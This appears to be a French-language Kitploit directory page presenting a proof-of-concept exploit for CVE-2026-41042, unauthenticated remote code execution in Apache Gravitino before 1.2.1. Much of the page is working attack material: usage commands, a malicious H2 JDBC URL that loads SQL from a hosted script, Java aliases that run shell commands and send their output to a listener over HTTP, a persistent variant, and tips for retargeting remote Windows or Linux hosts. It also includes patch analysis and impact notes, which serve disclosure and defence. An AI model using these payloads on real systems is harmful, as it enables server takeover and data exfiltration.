Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-41042 — Exploite une RCE non authentifiée dans Apache Gravitino < 1.2.1 via H2 JDBC INIT ; héberge des payloads SQL/Java, exécute des commandes et exfiltre la sortie via un beacon HTTP. | Kitploit
Outils/GitHubGitHub/lulztigre/cve-2026-41042
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges Utiles
GitHublulztigre/cve-2026-41042

cve-2026-41042

Exploite une RCE non authentifiée dans Apache Gravitino < 1.2.1 via H2 JDBC INIT ; héberge des payloads SQL/Java, exécute des commandes et exfiltre la sortie via un beacon HTTP.

Voir le dépôt
2il y a 23 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-41042 : Apache Gravitino < 1.2.1 RCE non authentifié

Preuve de concept autonome, utilisant uniquement la bibliothèque standard, pour CVE-2026-41042 : exécution de code à distance non authentifiée dans Apache Gravitino avant 1.2.1 via le paramètre de connexion INIT de JDBC H2. Pas d'en-têtes d'authentification, pas de pilotes supplémentaires, pas d'installation pip.

root@kitploit:~
python3 poc_cve-2026-41042.py http://127.0.0.1:8090 --metalake test_ml --cmd whoami

Le script héberge la charge utile SQL et une balise de sortie, envoie la requête testConnection et affiche directement la sortie standard de la commande.

CVE attribuée le 8 juillet 2026, créditée à Junjie Li (Université de Xidian). Il s'agit du premier PoC public fonctionnel pour ce problème. PoC par Akinlabi.

Versions concernées

VulnérableApache Gravitino < 1.2.1 (gravitino-catalog-jdbc-common)
Corrigée1.2.1
Avishttps://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm

H2 1.4.200 est fourni dans libs/ de Gravitino comme backend de stockage d'entités par défaut, donc le pilote H2 est déjà dans le classpath du serveur. Aucun pilote supplémentaire n'a besoin d'être déployé pour que l'exploit fonctionne.

Cause racine

POST /api/metalakes/{metalake}/catalogs/testConnection (ressource Jersey org.apache.gravitino.server.web.rest.CatalogOperations#testConnection, produit application/vnd.gravitino.v1+json) accepte une CatalogCreateRequest. La valeur properties.jdbc-url est transmise à la fabrique de connexions du fournisseur de catalogue sans aucune validation du pilote JDBC.

L'utilisation du pilote H2 fourni (org.h2.Driver) combinée au paramètre de connexion INIT de H2 exécute du SQL arbitraire au moment de la connexion, et CREATE ALIAS compile et exécute du Java arbitraire sur le serveur. Le point de terminaison ne requiert aucune authentification.

Utilisation

Prérequis : Python 3, bibliothèque standard uniquement.

root@kitploit:~
python3 poc_cve-2026-41042.py <target> [--metalake NAME] [--cmd CMD] [--port PORT]
OptionDéfautDescription
target(requis)Serveur Gravitino, p. ex. http://127.0.0.1:8090
--metalaketest_mlMetalake sous lequel le catalogue sera testé
--cmdwhoamiCommande à exécuter sur la cible
--port9000Port local pour le serveur HTTP de la charge utile et de la balise

Exemples :

root@kitploit:~
# Default run: whoami against the test_ml metalake
python3 poc_cve-2026-41042.py http://127.0.0.1:8090

# Custom command against a named metalake
python3 poc_cve-2026-41042.py http://10.0.0.5:8090 --metalake zeroauth_ml --cmd "ipconfig"

Si le metalake n'existe pas, créez-en un d'abord (également sans authentification) :

root@kitploit:~
curl -X POST http://<target>:8090/api/metalakes \
  -H "Content-Type: application/json" \
  -d '{"name":"test_ml"}'

Comment ça fonctionne

  1. Le script démarre un serveur HTTP multithread sur 127.0.0.1 avec deux routes : /poc.sql sert la charge utile générée, /beacon?out=... capture la sortie de la commande.
  2. Il envoie en POST un test de catalogue malveillant :
root@kitploit:~
{
  "name": "h2rce",
  "type": "RELATIONAL",
  "provider": "jdbc-mysql",
  "properties": {
    "jdbc-url": "jdbc:h2:mem:t3f9a2c1;INIT=RUNSCRIPT FROM 'http://127.0.0.1:9000/poc.sql'",
    "jdbc-user": "sa",
    "jdbc-password": "",
    "jdbc-driver": "org.h2.Driver"
  }
}
  1. H2 récupère le SQL via HTTP et l'exécute au moment de la connexion. La charge utile enregistre deux alias :
root@kitploit:~
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
  Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
  java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
  String l; StringBuilder sb = new StringBuilder();
  while ((l = br.readLine()) != null) sb.append(l).append("\n");
  br.close();
  return sb.toString();
}
$$;
CREATE ALIAS IF NOT EXISTS BEACON AS $$
String beacon(String s) throws java.io.IOException {
  java.net.URL u = new java.net.URL("http://127.0.0.1:9000/beacon?out=" + java.net.URLEncoder.encode(s, "UTF-8"));
  u.openConnection().getInputStream().close();
  return s;
}
$$;
CALL BEACON(SHELLEXEC('whoami'));

SHELLEXEC exécute la commande et renvoie sa sortie standard sous forme de chaîne ; BEACON l'exfiltre vers l'écouteur via HTTP ; le script interroge la balise pendant 5 secondes maximum et affiche la sortie.

  1. La réponse HTTP attendue est une erreur 5xx. La vérification de version du pilote du fournisseur jdbc-mysql (checkJDBCDriverVersion) se déclenche après l'initialisation de la connexion, donc l'erreur est cosmétique : le INIT a déjà été exécuté. Le chemin d'erreur est le chemin d'exécution.

Un nom de base de données en mémoire aléatoire est généré à chaque exécution (secrets.token_hex(6)), donc les alias H2 ne persistent jamais entre les exécutions et chaque exécution est déterministe.

Deuxième point d'entrée : charge utile persistante via createCatalog

La même jdbc-url malveillante fonctionne également via POST /api/metalakes/{ml}/catalogs, qui renvoie une réponse HTTP 200 et persiste l'URL H2 INIT dans la configuration du catalogue. Toute opération ultérieure forçant une connexion déclenche l'exécution au moment de l'initialisation :

root@kitploit:~
GET /api/metalakes/test_ml/catalogs/catreal/schemas

Les deux points d'entrée passent par le même chemin initialize() -> DataSourceUtils.createDataSource, donc le correctif 1.2.1 couvre les deux.

Analyse du correctif (1.2.1)

DataSourceUtils.createDataSource bloque désormais les URL et pilotes H2 (commits 84d3de9c7c / 5daabcd0e, vérifié dans l'arborescence 1.3.0) :

root@kitploit:~
String decodedUrl = recursiveDecode(jdbcConfig.getJdbcUrl().toLowerCase());
if (decodedUrl.startsWith("jdbc:h2")) {
  throw new GravitinoRuntimeException("H2 JDBC URL is not allowed in catalog configuration");
}
if (jdbcConfig.getJdbcDriver().toLowerCase().startsWith("org.h2.")) {
  throw new GravitinoRuntimeException("H2 JDBC driver is not allowed in catalog configuration");
}

recursiveDecode exécute URLDecoder jusqu'à 5 fois, donc l'encodage en pourcentage du préfixe ne permet pas de contourner la vérification. JdbcUrlUtils.validateJdbcConfig (également appelé depuis createDBCPDataSource) bloque en outre les paramètres MySQL/MariaDB/PostgreSQL connus comme dangereux (autoDeserialize, allowLoadLocalInfile, socketFactory, etc.).

Des tentatives de contournement ont été testées contre une réplique de la vérification avec le vrai H2 1.4.200 : espaces en début et fin de chaîne, encodage en pourcentage 6x+, astuces de casse et de tabulation, astuces de suffixe et fournisseurs non-JDBC. Aucun contournement propre n'a été trouvé ; le vecteur H2 semble solidement corrigé dans 1.2.1.

Évaluation de l'impact

Apache classe ce problème comme de faible sévérité, indiquant que H2 est réservé au développement/test et que Gravitino est généralement déployé en interne. L'installation par défaut contredit cela :

  • H2 est le backend de stockage d'entités par défaut, fourni avec la distribution
  • testConnection et createCatalog ne sont pas authentifiés lorsque gravitino.authorization.enable=false, ce qui est la valeur par défaut
  • L'adresse d'écoute par défaut est 0.0.0.0:8090

Estimation réaliste CVSS v3.1 : ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), sous réserve de l'accessibilité du port Gravitino.

Limitations

  • La charge utile et la balise sont liées à 127.0.0.1. Cela correspond à un laboratoire où l'attaquant et la cible partagent la même machine. Pour une cible distante, remplacez les références à 127.0.0.1 dans make_payload() et exploit() par l'IP de votre écouteur.
  • L'alias exécute cmd.exe /c (laboratoire Windows). Sur des cibles Linux, remplacez la ligne new String[]{"cmd.exe", "/c", cmd} par /bin/sh -c.
  • Le chemin de persistance via createCatalog n'est pas automatisé dans ce script ; utilisez la requête manuelle ci-dessus.

Avertissement

Réservé aux tests de sécurité et à la recherche autorisés uniquement. Toutes les techniques présentées ici ont été développées et vérifiées dans un laboratoire local. Utiliser ce script contre un système que vous ne possédez pas peut être illégal dans votre juridiction.

Télécharger l’outil